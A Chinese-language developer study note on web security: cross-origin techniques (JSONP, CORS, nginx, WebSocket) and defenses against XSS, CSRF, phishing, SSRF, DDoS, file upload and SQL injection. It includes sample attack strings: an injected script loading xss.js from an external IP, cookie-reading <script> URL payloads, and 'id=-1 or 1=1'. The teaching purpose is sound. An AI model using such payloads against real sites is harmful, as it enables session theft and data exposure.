http防御

# 跨域

# 同源策略

同源策略/SOP(Same origin policy)是一种约定;所谓同源是指 "协议 + 域名 + 端口" 三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。 从一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的关键的安全机制

# 跨域的含义

当协议、域名、端口号,有一个或多个不同时,有希望可以访问并获取数据的现象称为跨域访问,同源策略限制下 cookielocalStoragedomajaxIndexDB 都是不支持跨域的。

不同源之间不能执行以下情况,以下情况都是同源时执行:

  1. Cookie、LocalStorage和indexDB无法读取;
  2. AJAX请求不能发送; 限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点;
  3. DOM无法获得; 对当前 DOM 对象读和写的操作;

# 实现跨域的方式【要点】

# 方法总括

# 开发快捷调试
  • webpack proxy代理设置;
  • 使用charles等正向代理方式比较简单; Map Remote 设置;
  • 谷歌浏览器启动设置;
    • 新建一个目录。用于存放保存关闭安全策略后的用户信息的,名称和位置随意。【可以不用创建文件夹】
    • win: 在Chrome的快捷图标上鼠标右键 --> 属性 --> 目标 --> 在原chrome路径的基础上加上 --disable-web-security --user-data-dir=D:\MyChromeDevUserData --> 应用。(注意:以上的字符串加在原路径引号外面,且要有空格间隔。)
    • mac: 在终端中输入:open -n/-a xxx完整: open -n /Applications/Google\ Chrome.app --args --disable-web-security --user-data-dir=/Users/samy/Documents/MyChromeDev;
    • Ps:这个设置如果要考虑到cookie跨越会有问题,可以通过单独通过http-proxy-middleware代理处理;所以建议用token方式最好;
# 解决同源策略的方法
  • 使用 jsonp 跨域;

  • **使用 CORS 跨域; 可以直接用第三方库。cors库;**跨域资源在服务端设置允许跨域,就可以进行跨域访问控制,从而使跨域数据传输得以安全进行;

  • 使用 nginx 实现跨域

  • 使用 WebSocket 实现跨域

  • 使用 http-proxy-middleware 实现跨域 (webpack)

    const { createProxyMiddleware } = require('http-proxy-middleware');
    const jsonPlaceholderProxy = createProxyMiddleware('/api/v1', {
      target: 'http://10.45.47.68:xxx',
      changeOrigin: true,
    });
    
    1
    2
    3
    4
    5
  • 使用 postMessage 实现跨域; 可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。

  • 使用 window.name 实现跨域

  • 使用 location.hash 实现跨域

  • 使用 document.domain 实现跨域

# jsonp实现跨域

使用场景:当自己的项目前端资源和后端部署在不同的服务器地址上,或者其他的公司需要访问自己对外公开的接口,需要实现跨域获取数据,如百度搜索。

# 原理【要点】

由于浏览器的同源策略限制,不允许跨域请求;但是页面中的 script、img、iframe标签是例外,不受同源策略限制。Jsonp 就是利用script标签跨域特性进行请求。

JSONP 的原理就是,先在全局注册一个回调函数,定义回调数据的处理;与服务端约定好一个同名回调函数名,服务端接收到请求后,将返回一段 Javascript,在这段 Javascript 代码中调用了约定好的回调函数,并且将数据作为参数进行传递。当网页接收到这段 Javascript 代码后,就会执行这个回调函数。

# 缺点

它只支持GET请求,而不支持POST请求等其他类型的HTTP请求。不处理好的会触发XSS攻击

  • 只能发送 get 请求 不支持 post、put、delete;
  • 不安全,容易引发 xss 攻击,别人在返回的结果中返回了下面代码。
let script = document.createElement('script');
script.src = "http://192.168.0.57:8080/xss.js";
document.body.appendChild(script);
1
2
3

会把别人的脚本引入到自己的页面中执行,如:弹窗、广告等,甚至更危险的脚本程序

# 封装

步骤:

  • 拼接发送请求的参数;
  • 拼接发送请求的参数并赋值到 src 属性;
  • 创建全局函数window.cb = function (data) {};
  • 在跨域拿到数据以后将 script 标签销毁;
function jsonp({ url, params, cb }) {// 封装 jsonp 跨域请求的方法
  return new Promise((resolve, reject) => {
    let script = document.createElement("script");
    let arr = [];
    params = { ...params, cb };
    for (let key in params) {
      arr.push(`${key}=${params[key]}`);//拼接发送请求的参数
    }
    script.src = `${url}?${arr.join("&")}`;// 拼接发送请求的参数并赋值到 src 属性
    document.body.appendChild(script);
    window[cb] = function(data) {// 创建全局函数window.cb = function (data) {}
      resolve(data);
      document.body.removeChild(script);// 在跨域拿到数据以后将 script 标签销毁
    };
  });
}

json({// 调用方法跨域请求百度搜索的接口
  url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su",
  params: {
    wd: "jsonp"
  },
  cb: "show"
}).then(data => {
  console.log(data);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 示例

写一个模拟jsonp原理的一个简单的例子

本地客户端:

<script type="text/javascript" src="http://xxx.com/Index.aspx?callback=Hello"></script>
1

本地回调函数

function Hello(data){
     alert(data.result);
}
1
2
3

跨域服务端:

protected void Page_Load(object sender, EventArgs e){
     string callback=Request.QueryString["callback"];//获取客户端回调函数名,值为"Hello"
     Response.Write(callback+"({result:1})");  //调用客户端指定函数,并把数据传进去
 }
1
2
3
4

# CORS实现跨域

# 配置
const express = require("express");
let app = express();
let whiteList = ["http://localhost:3000"];// 允许访问域的白名单
app.use(function(req, res, next) {
    let origin = req.header.origin;
    if (whiteList.includes(origin)) {
        // 设置那个源可以访问,参数为 * 时,允许任何人访问,但是不可以和 cookie 凭证的响应头共同使用
        res.setHeader("Access-Control-Allow-Origin", origin);
        // 想要获取 ajax 的头信息,需设置响应头
        res.setHeader("Access-Control-Allow-Headers", "name");
        // 处理复杂请求的头
        res.setHeader("Access-Control-Allow-Methods", "PUT");
        // 允许发送 cookie 凭证的响应头
        res.setHeader("Access-Control-Allow-Credentials", true);
        // 允许前端获取哪个头信息
        res.setHeader("Access-Control-Expose-Headers", "name");
        // 处理 OPTIONS 预检的存活时间,单位 s
        res.setHeader("Access-Control-Max-Age", 5);
        //发送PUT 请求会做一个试探性的请求OPTIONS,其实是请求了两次,当接收的请求为OPTIONS时不做任何处理
        if (req.method === "OPTIONS") {
            res.end();
        }
    }
    next();
});
app.put("/getDate", function(req, res) {
    // res.setHeader('name', 'nihao'); // 设置自定义响应头信息
    res.end("I love you");
});
app.get("/getDate", function(req, res) {
    res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# nginx实现跨域

# 配置

两种方式:

  • add_header
  • proxy_pass proxy_set_header

nginx.conf

server {
   #方式一: add_header
    location ~.*\.json {
        root json;
        add_header "Access-Control-Allow-Origin" "*";
    }
    if ($request_method = 'GET') { #示例;
        add_header 'Access-Control-Allow-Origin' 'https://docs.domain.com'; 
        add_header 'Access-Control-Allow-Credentials' 'true'; 
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, PATCH, OPTIONS'; 
        add_header 'Access-Control-Allow-Headers' 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,token'; 
    }
    #方式二: proxy_pass proxy_set_header
    # 访问的http://xx/ssm/api/相当于一个代理url,实际访问的是http://xx:8888/ssm/api/
    location /ssm/interfaces/{
        proxy_pass http://localhost:8888/ssm/api/;
        
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header REMOTE-HOST $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

含义:

  • ~.*.json:代表忽略大小写,后缀名为 json 的文件;
  • root json:代表 json 文件夹;
  • add_header:代表加入跨域的响应头及允许访问的域,* 为允许任何访问。

nginx 根目录启动 cmd 命令行(windows 系统必须使用 cmd 命令行)执行下面代码重启 nginx

nginx -t && nginx -s reload

测试跨域请求

curl -I -X OPTIONS -H "Origin: http://example.com" http://www.example2.com
1

成功时,响应头是如下所示

HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: example.com
1
2
3

# WebSocket实现跨域

WebSocket 没有跨域限制,高级 API(不兼容),想要兼容低版本浏览器,可以使用 socket.io 的库,WebSocket 与 HTTP 内部都是基于 TCP 协议,区别在于 HTTP 是单向的(单双工),WebSocket 是双向的(全双工),协议是 ws://wss:// 对应 http://https://,因为没有跨域限制,所以使用 file:// 协议也可以进行通信。

客户端/服务器的设置;

//客户端:index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面</title>
</head>
<body>
    <script>
        let socket = new WebSocket('ws://localhost:3000');
        socket.onopen = function () {
            socket.send('I love you');
        }
        socket.onmessage = function (e) {
            console.log(e.data); // I love you, too
        }
    </script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//服务器设置;
const express = require("express");
let app = express();
const WebSocket = require("ws");
let wss = new WebSocket.Server({ port: 3000 });
wss.on("connection", function(ws) {
    ws.on("message", function(data) {
        console.log(data); // I love you
        ws.send("I love you, too");
    });
});
1
2
3
4
5
6
7
8
9
10
11

# Web安全概念

Web 应用中存在很多安全风险,这些风险会被黑客利用,轻则篡改网页内容,重则窃取网站内部数据,更为严重的则是在网页中植入恶意代码,使得用户受到侵害。

# 分类

# 常见的安全漏洞

  • XSS 攻击:对 Web 页面注入脚本,使用 JavaScript 窃取用户信息,诱导用户操作。
  • CSRF 攻击:伪造用户请求向网站发起恶意请求。
  • 钓鱼攻击:利用网站的跳转链接或者图片制造钓鱼陷阱。
  • HTTP参数污染:利用对参数格式验证的不完善,对服务器进行参数注入攻击。
  • 远程代码执行:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
  • XST攻击;Https中间人攻击。

ps:而egg框架本身针对 Web 端常见的安全风险内置了丰富的解决方案:

  • 利用 extend (opens new window) 机制扩展了 Helper API, 提供了各种模板过滤函数,防止钓鱼或 XSS 攻击
  • 常见 Web 安全头的支持。
  • CSRF 的防御方案。
  • 灵活的安全配置,可以匹配不同的请求 url 。
  • 可定制的白名单,用于安全跳转和 url 过滤。
  • 各种模板相关的工具函数做预处理。

在框架中内置了安全插件 egg-security (opens new window), 提供了默认的安全实践。

# 其他类型分类

  • HTTP本身不具备必要的安全功能,需要开发者自行开发认证及会话管理功能;
  • 在客户端可以篡改请求,导致Web 应用收到与预期不一致的内容,可能包含攻击代码;
  • 针对Web应用的攻击模式;
    • 主动攻击:指攻击者通过直接访问 Web 应用, 把攻击代码传入,如:SQL 注入攻击和 OS 命令注 入攻击
    • 被动攻击:是指利用圈套策略执行攻击代码的攻击模式,如:跨站脚本攻击、跨站点请求伪造
    • 利用用户的身份攻击企业内部的网络

# XSS 攻击防范

# 安全威胁XSS的防范

XSS (opens new window)(cross-site scripting跨域脚本攻击)攻击是最常见的 Web 攻击,其重点是**『跨域』和『客户端执行』**

XSS 攻击一般分为两类:

  • Reflected XSS(反射型的 XSS 攻击):主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。

  • Stored XSS(存储型的 XSS 攻击):基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码

  • DOM XSS防范方式;DOM XSS 攻击不涉及网站服务器,通常是由于前端页面不严谨的代码产生的安全漏洞,导致注入了恶意代码

    例如,在使用 .innerHTMLdocument.write()document.outerHTML 这些能够修改页面结构的 API 时要注意防范恶意代码,尽量使用 .textContent.setAttribute() 等。

  • JSONP XSS防范方式;

# Reflected XSS防范方式

情况一: 框架提供了 helper.escape() 方法对字符串进行 XSS 过滤

另外一种情况,网站输出的内容会提供给 JavaScript 来使用。这个时候需要使用 helper.sjs() 来进行过滤。

还有一种情况,有时候我们需要在 JavaScript 中输出 json ,若未做转义,易被利用为 XSS 漏洞。框架提供了 helper.sjson() 宏做 json encode

# Stored XSS防范方式

框架提供了 helper.shtml() 方法对字符串进行 XSS 过滤。

所以,一定要注意 shtml 的适用场景,一般是针对来自用户的富文本输入,切忌滥用,功能既受到限制,又会影响服务端性能。 此类场景一般是论坛、评论系统等,即便是论坛等如果不支持 HTML 内容输入,也不要使用此 Helper,直接使用 escape 即可。

# DOM XSS防范方式

这种类型则是利用非法输入来闭合对应的html标签。

对用户的输入进行转义,即可解决XSS。但是现在都是用框架进行开发,例如Vue,React,angular,而XSS常是基于DOM的,而框架很少去操作Dom,并且框架底层也对XSS做了一些防范。

DOM XSS 攻击不涉及网站服务器,通常是由于前端页面不严谨的代码产生的安全漏洞,导致注入了恶意代码

例如,在使用 .innerHTMLdocument.write()document.outerHTML 这些能够修改页面结构的 API 时要注意防范恶意代码,尽量使用 .textContent.setAttribute() 等。

例如,黑客构造带有恶意代码的 URL 诱导用户打开 http://www.xxx.com/index.html/?content=<script>alert('我是 DOM 型 XSS 攻击')</script>,浏览器收到请求后解析之行,如果使用 document.write() 未经转义输出,就可能遭到攻击。

image-20211104095224715

# JSONP XSS防范方式

JSONP 的 callback 参数非常危险,他有两种风险可能导致 XSS 1、callback 参数意外截断js代码,特殊字符单引号双引号,换行符均存在风险。 2、callback 参数恶意添加标签(如 `` ),造成 XSS 漏洞。

参考 JSONP 安全攻防 (opens new window)

框架内部使用 jsonp-body (opens new window) 来对 JSONP 请求进行安全防范。

防御内容:

  • callback 函数名词最长 50 个字符限制
  • callback 函数名只允许 [, ], a-zA-Z0123456789_, $, .,防止一般的 XSS,utf-7 XSS等攻击。

可定义配置:

  • callback 默认 _callback,可以重命名。
  • limit - 函数名 length 限制,默认 50。

# 其他 XSS 的防范方式

浏览器自身具有一定针对各种攻击的防范能力,他们一般是通过开启 Web 安全头生效的。框架内置了一些常见的 Web 安全头的支持。

# CSP

W3C 的 Content Security Policy,简称 CSP,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生。 框架内支持 CSP 的配置,不过是默认关闭的,开启后可以有效的防止 XSS 攻击的发生。要配置 CSP , 需要对 CSP 的 policy 策略有了解,具体细节可以参考 CSP 是什么 (opens new window)。 示例:Content-Security-Policey: default-src 'self'; img-src *;

X-Download-Options:noopen 默认开启,禁用 IE 下下载框Open按钮,防止 IE 下下载文件默认被打开 XSS。

X-Content-Type-Options:nosniff 禁用 IE8 自动嗅探 mime 功能例如 text/plain 却当成 text/html 渲染,特别当本站点 serve 的内容未必可信的时候。

X-XSS-Protection IE 提供的一些 XSS 检测与防范,默认开启。

  • close 默认值false,即设置为 1; mode=block

设置:

1、meta

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
1

2、Http 头部

Content-Security-Policy:
script-src 'unsafe-inline' 'unsafe-eval' 'self' *.54php.cn *.yunetidc.com *.baidu.com *.cnzz.com *.duoshuo.com *.jiathis.com;report-uri /error/csp
1
2

# 安全威胁 CSRF 的防范

CSRF (opens new window)(Cross-site request forgery)跨站请求伪造,也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。 CSRF 攻击会对网站发起恶意伪造的请求,严重影响网站的安全。因此框架内置了 CSRF 防范方案。

# 防范方式

通常来说,对于 CSRF 攻击有一些通用的防范方案 (opens new window),简单的介绍几种常用的防范方案:

  • Synchronizer Tokens:通过响应页面时将 token 渲染到页面上,在 form 表单提交的时候通过隐藏域提交上来。
  • Double Cookie Defense:将 token 设置在 Cookie 中,在提交 post 请求的时候提交 Cookie,并通过 header 或者 body 带上 Cookie 中的 token,服务端进行对比校验。
  • Custom Header:信任带有特定的 header(例如 X-Requested-With: XMLHttpRequest)的请求。这个方案可以被绕过,所以 rails 和 django 等框架都放弃了该防范方式 (opens new window)

框架结合了上述几种防范方式,提供了一个可配置的 CSRF 防范策略

框架提供了一个配置项,可以将 token 存放到 Session 中。当 CSRF token 存储在 Cookie 中时,一旦在同一个浏览器上发生用户切换,新登陆的用户将会依旧使用旧的 token(之前用户使用的),这会带来一定的安全风险,因此在每次用户登陆的时候都必须刷新 CSRF token

另外同源策略主要是浏览器来进行验证的, 并且不同浏览器的实现又各自不同, 所以在某些浏览器上可以直接绕过, 而且也可以直接通过短信等方式直接绕过浏览器.

预防:

  1. A 站 (预防站) 检查 http 请求的 header 确认其 origin
  2. 检查 CSRF token
# 同源检查

通过检查来过滤简单的 CSRF 攻击, 主要检查一下两个 header:

  • Origin Header:请求来源限制
  • Referer Header
# CSRF token

简单来说, 对需要预防的请求, 通过特别的算法生成 token 存在 session 中, 然后将 token 隐藏在正确的界面表单中, 正式请求时带上该 token 在服务端验证, 避免跨站请求;【常用】

基本思路如下:

  1. 服务器随机产生token(比如把cookie hash化生成),存在session中,放在cookie中或者以ajax的形式交给前端。
  2. 前端发请求的时候,解析cookie中的token,放到请求url里或者请求头中。
  3. 服务器验证token,由于黑客无法得到或者伪造token,所以能防范csrf

更进一步的加强手段(不需要session):

  1. 服务器随机产生token,然后以token为密钥散列生成一段密文;
  2. token和密文都随cookie交给前端;
  3. 前端发起请求时把密文和token都交给后端;
  4. 后端对token和密文进行正向散列验证,看token能不能生成同样的密文;
  5. 这样即使黑客拿到了token 也无法拿到密文;

# 安全威胁 钓鱼攻击 的防范

钓鱼有多种方式,这里介绍 url 钓鱼、图片钓鱼和 iframe 钓鱼。

# url 钓鱼

服务端未对传入的跳转 url 变量进行检查和控制,可能导致可恶意构造任意一个恶意地址,诱导用户跳转到恶意网站。

# 防范方式
  • 若跳转的 url 事先是可以确定的,包括 url 和参数的值,则可以在后台先配置好,url 参数只需传对应 url 的索引即可,通过索引找到对应具体 url 再进行跳转
  • 若跳转的 url 事先不确定,但其输入是由后台生成的(不是用户通过参数传人),则可以先生成好跳转链接然后进行签名
  • 若 1 和 2 都不满足,url 事先无法确定,只能通过前端参数传入,则必须在跳转的时候对 url 进行按规则校验:判断 url 是否在应用授权的白名单内

框架提供了安全跳转的方法,可以通过配置白名单避免这种风险。

  • ctx.redirect(url) 如果不在配置的白名单内,则禁止。
  • ctx.unsafeRedirect(url) 一般不建议使用,明确了解可能带来的风险后使用。

安全方案覆盖了默认的ctx.redirect方法,所有的跳转均会经过安全域名的判断

# 图片钓鱼

如果可以允许用户向网页里插入未经验证的外链图片,这有可能出现钓鱼风险。

比如常见的 401钓鱼, 攻击者在访问页面时,页面弹出验证页面让用户输入帐号及密码,当用户输入之后,帐号及密码就存储到了黑客的服务器中。 通常这种情况会出现在<img src=$url />中,系统不对**$url**是否在域名白名单内进行校验。

# 防范方式

框架提供了 .surl() 宏做 url 过滤

用于在 html 标签中中要解析 url 的地方(比如 <a href=""/><img src=""/>),其他地方不允许使用。

对模板中要输出的变量,加 helper.surl($value)

注意:在需要解析 url 的地方,surl 外面一定要加上双引号,否则就会导致XSS漏洞。

# iframe 钓鱼

通过内嵌 iframe 到被攻击的网页中,攻击者可以引导用户去点击 iframe 指向的危险网站,甚至遮盖,影响网站的正常功能,劫持用户的点击操作。

框架提供了 X-Frame-Options 这个安全头来防止 iframe 钓鱼。默认值为 SAMEORIGIN,只允许同域把本页面当作 iframe 嵌入。当需要嵌入一些可信的第三方网页时,可以关闭这个配置。

# 安全威胁 HPP 的防范

Http Parameter Pollution(HPP),即 HTTP 参数污染攻击。在HTTP协议中是允许同样名称的参数出现多次,而由于应用的实现不规范,攻击者通过传播参数的时候传输 key 相同而 value 不同的参数,从而达到绕过某些防护的后果。

HPP 可能导致的安全威胁有:

  • 绕过防护和参数校验。
  • 产生逻辑漏洞和报错,影响应用代码执行。
# 防范方式

框架本身会在客户端传输 key 相同而 value 不同的参数时,强制使用第一个参数,因此不会导致 hpp 攻击。

# 安全威胁 XST 的防范

XST (opens new window) 的全称是 Cross-Site Tracing,客户端发 TRACE 请求至服务器,如果服务器按照标准实现了 TRACE 响应,则在 response body 里会返回此次请求的完整头信息。通过这种方式,客户端可以获取某些敏感的头字段,例如 httpOnly 的 Cookie。Https中间人攻击;

# 防范方式

框架已经禁止了 trace,track,options 三种危险类型请求

# 中间人攻击 (opens new window)与 HTTP/HTTPS

尽管 HTTPS 并非绝对安全,掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击。不过HTTPS是现行架构下最安全的解决方案,并且它大幅增加了中间人攻击的成本。

因此,请各位使用 Egg 框架开发网站的开发者,务必推动自己的网站升级到 HTTPS。

对于 HTTPS 来讲,还有一点要注意的是 HTTP 严格传输安全(HSTS),如果不使用 HSTS,当用户在浏览器中输入网址时没有加 HTTPS,浏览器会默认使用 HTTP 访问

框架提供了 hsts Strict-Transport-Security 这个头的默认开启。让 HTTPS 站点不跳转到 HTTP,如果站点支持 HTTPS,请一定要开启。

如果我们的Web 站点是 http 站点,需要关闭这个头。配置如下:

  • maxAge 默认一年 365 * 24 * 3600
  • includeSubdomains 默认 false, 可以添加子域名,保证所有子域名都使用 HTTPS 访问。

目前比较常见的是在公共场所放置精心准备的免费 wifi, 劫持/监控通过该 wifi 的流量. 或者攻击路由器, 连上你家 wifi 攻破你家 wifi 之后在上面劫持流量等.

对于通信过程中的 MITM, 常见的方案是通过 PKI / TLS 预防, 及时是通过存在第三方中间人的 wifi 你通过 HTTPS 访问的页面依旧是安全的.

而 HTTP 协议是明文传输, 则没有任何防护可言.不常见的还有强力的互相认证, 你确认他之后, 他也确认你一下; 延迟测试, 统计传输时间, 如果通讯延迟过高则认为可能存在第三方中间人; 等等.

# 安全威胁 SSRF 的防范

通过 Server-Side Request Forgery(SSRF) (opens new window) 攻击,攻击者可以发起网络请求访问或者操作内部网络的资源。

一般来说,SSRF 安全漏洞常见于开发者在服务端直接请求客户端传递进来的 URL 资源,一旦攻击者传入一些内部的 URL 即可发起 SSRF 攻击。

如何防范通常我们会基于内网 IP 黑名单的形式来防范 SSRF 攻击,通过对解析域名后得到的 IP 做过滤,禁止访问内部 IP 地址来达到防范 SSRF 攻击的目的。

框架在 ctx, appagent 上都提供了 safeCurl 方法,在发起网络请求的同时会对指定的内网 IP 地址过滤,除此之外,该方法和框架提供的 curl 方法一致。

  • ctx.safeCurl(url, options)
  • app.safeCurl(url, options)
  • agent.safeCurl(url, options)

# 配置

直接调用 safeCurl 方法其实并没有任何作用,还需要配合安全配置项

  • ipBlackList(Array) - 配置内网 IP 名单,在这些网段内的 IP 地址无法被访问。
  • checkAddress(Function) - 直接配置一个检查 IP 地址的函数,根据函数的返回值来判断是否允许在 safeCurl 中被访问,当返回非 true 时,该 IP 无法被访问。checkAddress 优先级高于 ipBlackList
// config/config.default.js
exports.security = {
  ssrf: {
    ipBlackList: [
      '10.0.0.0/8', // 支持 IP 网段
      '0.0.0.0/32',
      '127.0.0.1',  // 支持指定 IP 地址
    ],
    // 配置了 checkAddress 时,ipBlackList 不会生效
    checkAddress(ip) {
      return ip !== '127.0.0.1';
    },
  },
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 其他安全工具

ctx.isSafeDomain(domain): 是否为安全域名。安全域名在配置中配置,见 ctx.redirect 部分。

app.injectCsrf(str):这个函数提供了模板预处理-自动插入 CSRF key 的能力,可以自动在所有的 form 标签中插入 CSRF 隐藏域,用户就不需要手动写了。

app.injectNonce(str): 这个函数提供了模板预处理-自动插入 nonce 的能力,如果网站开启了 CSP 安全头,并且想使用 CSP 2.0 nonce 特性,可以使用这个函数。参考 CSP 是什么 (opens new window)。这个函数会扫描模板中的 script 标签,并自动加上 nonce 头。

app.injectHijackingDefense(str): 对于没有开启 HTTPS 的网站,这个函数可以有限的防止运营商劫持

# 接口防御

  • 网关控制流量洪峰,对在一个时间段内出现流量异常,可以拒绝请求;
  • ip请求个数限制。对请求来源的ip请求个数做限制; 频率限制(1s内接口调用次数限制)IP限制;
    • 防刷一般分两种:
      • 总调用次数受限制。这个一般是在后端做限制,单位时间内最多可调用次数。
      • 同一客户端次数限制。这个前端的一般使用是给接口调用加锁,在返回结果或者一定时间之后解锁。
    • 刷接口直接走脚本,前端限制有一定作用,但不大。
      • 根据IP限制调用次数【请求在代理服务器被拦截nginx,减少后端服务被调用】;
      • 拦截器特定信息校验,例如:token【后端服务器拦截器,减少业务判断和处理】;
        • 1、校验请求头referer; 2、校验请求token; 3、请求频率;
  • http请求头信息校验;(例如hostUser-AgentReferer); referer校验; UA校验;
  • 对用户唯一身份uid进行限制和校验。例如基本的长度,组合方式,甚至有效性进行判断。或者uid具有一定的时效性 ;
  • 前后端协议采用二进制方式进行交互或者协议采用签名机制;
  • 机验证,验证码,短信验证码,滑动图片形式,12306形式 ;

# 防御简述版【推荐】

# XSS攻击

Cross-site script跨站脚本攻击;为了与层叠样式表css区分,将跨站脚本简写为XSS;当其它用户浏览该网站时候,该段 HTML 代码会自动执行,从而达到攻击的目的,如盗取用户的 Cookie,破坏页面结构,重定向到其它网站等。

XSS 类型:一般可以分为: 非持久型 XSS 和持久性 XSS

  • Reflected XSS(反射型的 XSS 攻击非持久型:

    • 主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。比如:对一个页面的 URL 中的某个参数做文章,把精心构造好的恶意脚本包装在 URL 参数重中,再将这个 URL 发布到网上,骗取用户访问,从而进行攻;
    • 用户将一段含有恶意代码的请求提交给 Web 服务器,Web 服务器接收到请求时,又将恶意代码反射给了浏览器端,这就是反射型 XSS 攻击。 在现实生活中,黑客经常会通过 QQ 群或者邮件等渠道诱导用户去点击这些恶意链接,所以对于一些链接我们一定要慎之又慎。
    • Web 服务器不会存储反射型 XSS 攻击的恶意脚本,这是和存储型 XSS 攻击不同的地方

    image-20211104094829003

    浏览器输入 http://localhost:3000/?message=<script>var cookie = document.cookie; alert(我是 XSS 攻击,你中招了 😄, cookie: ${cookie})</script> 回车后,页面上会弹出如下提示框。

    image-20211104100542590

  • Stored XSS(存储型的 XSS 攻击持久型

    • 基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码。(如上述的留言评论功能);
    • 利用漏洞提交恶意 JavaScript 代码,比如在input, textarea等所有可能输入文本信息的区域,输入<script src="http://恶意网站"></script>等,提交后信息会存在服务器中,当用户再次打开网站请求到相应的数据,打开页面,恶意脚本就会将用户的 Cookie 信息等数据上传到黑客服务器。
    • 比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。

    image-20211104094427555

防范

为了防止 XSS 攻击,我们需要验证用户的输入,做到有效检测。对输出的数据做编码,防止恶意脚本注入成功在浏览器端之行。

  • 确定性类型字段加强校验:当一些字段是确定性类型的,在输入内容时应按照相应规则加强校验,例如手机号、邮箱等信息。
  • HTML 模版转义:对于前后端一体的应用,拼接 HTML 模版这些也是必不可少的,应对 HTML 模版做好充分转义。一些常用的模版引擎:pug、ejs 这些默认都带有转义功能,来防止 XSS 攻击。
  • 设置 httpOnly:禁止用户读取 cookie,就算注入恶意代码,也无法读取 cookie 信息冒充用户提交信息。
  • 过滤和转码:关键字符做过滤或转码,如果是过滤,直接过滤掉指定的关键词,页面就不会展示了。如果是转码,不会过滤掉但也不会让其执行,例如 <script> 转义为 <script>推荐一个库js-xss,用于对用户输入的内容进行过滤,以避免遭受 XSS 攻
  • CSP:一种内容安全策略,需要在服务端设置;

# CSRF攻击

CSRF(Cross-site request forgery), 中文名称:跨站请求伪造

CSRF 可以简单理解为:攻击者盗用了你的身份,以你的名义发送恶意请求,容易造成隐私泄露以及财产安全。

防范:

  • post请求; 隐藏令牌
  • Token验证; 使用token
  • 验证码

值得注意的是,过滤用户输入的内容不能阻挡 CSRF 攻击,我们需要做的事过滤请求的来源,因为有些请求是合法,有些是非法的,所以 CSRF 防御主要是过滤那些非法伪造的请求来源

# XSS和CSRF区别

  • 原理不同,XSS是向目标网站注入JS代码,然后执行JS里的代码。CSRF是利用网站A本身的漏洞,去请求网站A的api
  • XSS不需要登录,而CSRF需要用户先登录目标网站获取cookie
  • XSS的目标是服务器,CSRF的目标是用户
  • XSS是利用合法用户获取其信息,而CSRF是伪造成合法用户发起请求

# DDOS攻击

利用目标系统网络服务功能缺陷或者直接消耗其系统资源,使得该目标系统无法提供正常的服务。

DDoS 攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的。 具体有几种形式:

  • 通过使网络过载来干扰甚至阻断正常的网络通讯;
  • 通过向服务器提交大量请求,使服务器超负荷;
  • 阻断某一用户访问服务器;
  • 阻断某服务与特定系统或个人的通讯。

# 接口(DDOS)防御

  1. 网关控制流量洪峰,对在一个时间段内出现流量异常,可以拒绝请求;
  2. ip请求个数限制。对请求来源的ip请求个数做限制;
  3. 频率限制(1s内接口调用次数限制)IP限制; 防刷一般分两种:
  • 总调用次数受限制。这个一般是在后端做限制,单位时间内最多可调用次数。
  • 同一客户端次数限制。这个前端的一般使用是给接口调用加锁,在返回结果或者一定时间之后解锁。

刷接口直接走脚本,前端限制有一定作用,但不大。

  • 根据IP限制调用次数【请求在代理服务器被拦截nginx,减少后端服务被调用】;
  • 拦截器特定信息校验,例如:token【后端服务器拦截器,减少业务判断和处理】; 1、校验请求头referer 2、校验请求token; 3、请求频率

# 文件上传漏洞

服务器未校验上传的文件,致使黑客可以上传恶意脚本等方式。

预防策略

  1. 用文件头来检测文件类型,使用白名单过滤(有些文件可以从其中一部分执行,只检查文件头无效,例如 PHP 等脚本语言);
  2. 上传后将文件彻底重命名并移动到不可执行的目录下
  3. 升级服务器软件以避免路径解析漏洞;
  4. 升级用到的开源编辑器;
  5. 管理后台设置强密码。

# SQL注入

拼接 SQL 时未仔细过滤,黑客可提交畸形数据改变语义。比如查某个文章,提交了这样的数据id=-1 or 1=1等。1=1 永远是true,导致where语句永远是ture.那么查询的结果相当于整张表的内容,攻击者就达到了目的。或者,通过屏幕上的报错提示推测 SQL 语句等。

预防策略

